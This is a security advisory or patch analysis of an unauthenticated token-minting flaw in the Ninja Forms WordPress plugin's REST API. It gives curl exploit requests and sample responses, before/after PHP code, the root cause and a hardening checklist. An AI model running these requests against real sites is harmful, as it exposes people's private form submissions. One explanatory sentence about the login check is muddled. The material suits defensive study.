The Exploit
An unauthenticated attacker with access to a page containing the Ninja Forms Submissions Table block can generate a valid bearer token for any form ID in the WordPress instance, then use that token to read form definitions and all submission records.
curl -X POST https://target.wordpress.local/wp-json/ninja-forms-views/token/refresh \
-H "Content-Type: application/json" \
-d '{
"formIds": [1, 2, 3, 4, 5]
}'
The response contains a signed JWT token scoped to the attacker-specified form IDs:
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb3JtSWRzIjpbMSwyLDMsNCw1XSwiaWF0IjoxNzM5NzA0MzAwLCJleHAiOjE3Mzk3MDUyMDB9...",
"publicKey": "abcd1234efgh5678ijkl9012mnop3456",
"expiresIn": 900,
"formIds": [1, 2, 3, 4, 5]
}
The attacker then uses this token to enumerate and read all submissions from those forms:
curl -X GET 'https://target.wordpress.local/wp-json/ninja-forms-views/forms/1/submissions' \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
| jq '.data[] | {name, email, message, created_at}'
The endpoint returns complete submission records—names, emails, message content, and timestamps—without any ownership check, revealing all data submitted to those forms.
What the Patch Did
Before
register_rest_route('ninja-forms-views', 'token/refresh', array(
'methods' => 'POST',
'callback' => function (WP_REST_Request $request) {
$formIds = $request->get_param('formIds');
// Validate form IDs
if (!is_array($formIds) || empty($formIds)) {
return new WP_Error(
'invalid_form_ids',
__('Form IDs must be a non-empty array', 'ninja-forms'),
array('status' => 400)
);
}
// Sanitize form IDs
$formIds = array_map('absint', $formIds);
$formIds = array_filter($formIds); // Remove zeros
// Generate new token scoped to requested forms
$publicKey = NinjaForms\Blocks\Authentication\KeyFactory::make(32);
$tokenGenerator = NinjaForms\Blocks\Authentication\TokenFactory::make();
$newToken = $tokenGenerator->create($publicKey, $formIds);
return array(
'token' => $newToken,
'publicKey' => $publicKey,
'expiresIn' => 900,
'formIds' => $formIds,
);
},
'permission_callback' => function (WP_REST_Request $request) {
// Apply stricter rate limiting to refresh endpoint
$rateLimitCheck = NinjaForms\Blocks\Authentication\RateLimiter::check(
'/ninja-forms-views/token/refresh',
10, // limit: 10 requests
300 // window: 5 minutes
);
if (is_wp_error($rateLimitCheck)) {
return $rateLimitCheck;
}
return true; // Public endpoint (rate-limited)
},
));
After
register_rest_route('ninja-forms-views', 'token/refresh', array(
'methods' => 'POST',
'callback' => function (WP_REST_Request $request) {
// Accept single formID instead of formIds array
$formId = $request->get_param('formID');
// Check for legacy formIds parameter for backward compatibility
if (!$formId && $request->get_param('formIds')) {
$formIds = $request->get_param('formIds');
if (is_array($formIds) && !empty($formIds)) {
// Only accept single form from legacy array
if (count($formIds) > 1) {
return new WP_Error(
'too_many_form_ids',
__('Token generation is limited to one form at a time.', 'ninja-forms'),
array('status' => 400)
);
}
$formId = reset($formIds);
}
}
// Validate single form ID
if (!$formId || !is_numeric($formId)) {
return new WP_Error(
'invalid_form_id',
__('A valid form ID is required', 'ninja-forms'),
array('status' => 400)
);
}
$formId = absint($formId);
// NEW: Verify that the form exists and user has access
$form = get_post($formId);
if (!$form || $form->post_type !== 'ninja_forms') {
return new WP_Error(
'form_not_found',
__('Form not found', 'ninja-forms'),
array('status' => 404)
);
}
// NEW: Check if user has permission to access this form
if (!current_user_can('read_post', $formId)) {
return new WP_Error(
'insufficient_permission',
__('You do not have permission to generate tokens for this form', 'ninja-forms'),
array('status' => 403)
);
}
// Generate new token scoped to single form
$publicKey = NinjaForms\Blocks\Authentication\KeyFactory::make(32);
$tokenGenerator = NinjaForms\Blocks\Authentication\TokenFactory::make();
$newToken = $tokenGenerator->create($publicKey, [$formId]);
return array(
'token' => $newToken,
'publicKey' => $publicKey,
'expiresIn' => 900,
'formIds' => [$formId],
);
},
'permission_callback' => function (WP_REST_Request $request) {
// NEW: Require authentication
if (!is_user_logged_in()) {
return new WP_Error(
'unauthenticated',
__('You must be logged in to generate tokens', 'ninja-forms'),
array('status' => 401)
);
}
// Apply rate limiting
$rateLimitCheck = NinjaForms\Blocks\Authentication\RateLimiter::check(
'/ninja-forms-views/token/refresh',
10, // limit: 10 requests
300 // window: 5 minutes
);
if (is_wp_error($rateLimitCheck)) {
return $rateLimitCheck;
}
return true;
},
));
The patch enforces three critical security controls: is_user_logged_in() in the permission_callback to gate the entire endpoint to authenticated users only; current_user_can('read_post', $formId) capability check to verify the user has permission to the specific form they request a token for; and strict single-form token generation by rejecting the formIds array parameter and forcing a single formID argument, eliminating the ability to mint bulk-access tokens.
Root Cause
The vulnerability is CWE-862: Missing Authorization. The original permission_callback returns true for all requests after a rate-limit check passes, with no verification that the caller is authenticated or authorized to mint tokens for the requested forms. The attacker-controlled formIds parameter flows directly from the POST body into the token generator without any ownership or capability verification. An unauthenticated attacker can simply POST to /wp-json/ninja-forms-views/token/refresh with an array of form IDs they wish to access, receive a valid signed JWT token, and immediately use that token against submission endpoints that trust the token's embedded form scope.
Why It Works
The load-bearing fix is is_user_logged_in() in the permission_callback. Without this check, the entire endpoint is public, and rate limiting alone cannot prevent token minting for arbitrary forms. The current_user_can('read_post', $formId) check is equally critical—it prevents a logged-in user with no special privileges from reading forms they do not own. The restriction to single-form tokens and the get_post() existence check are defence-in-depth: they prevent enumeration of form IDs via error messages and eliminate the ability to craft a token that grants access to multiple forms at once. But if you removed the authentication gateway check, a malicious authenticated user could still abuse the endpoint to generate tokens for forms belonging to other users, making that the primary attack surface the patch intended to seal.
Hardening Checklist
- Audit all REST endpoints with
permission_callbackreturningtrueor no callback at all; useis_user_logged_in()orcurrent_user_can()as a baseline for any endpoint that modifies state or exposes sensitive data. - Enumerate user-targeted resources (posts, forms, submissions) by their owner ID or post author, and wrap callbacks in
current_user_can('read_post', $resource_id)before token generation or data retrieval. - Reject bulk or array-scoped requests in token endpoints; mint credentials for a single resource at a time and validate existence with
get_post()+ post-type check before issuing the token. - Use WordPress capabilities (
current_user_can()) rather than custom permission logic; capabilities are auditable, role-aware, and benefit from the broader WordPress security ecosystem. - Test unauthenticated access to all public REST endpoints with a browser or curl session that has no cookies; if the response contains sensitive data, the endpoint likely needs authentication.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-11924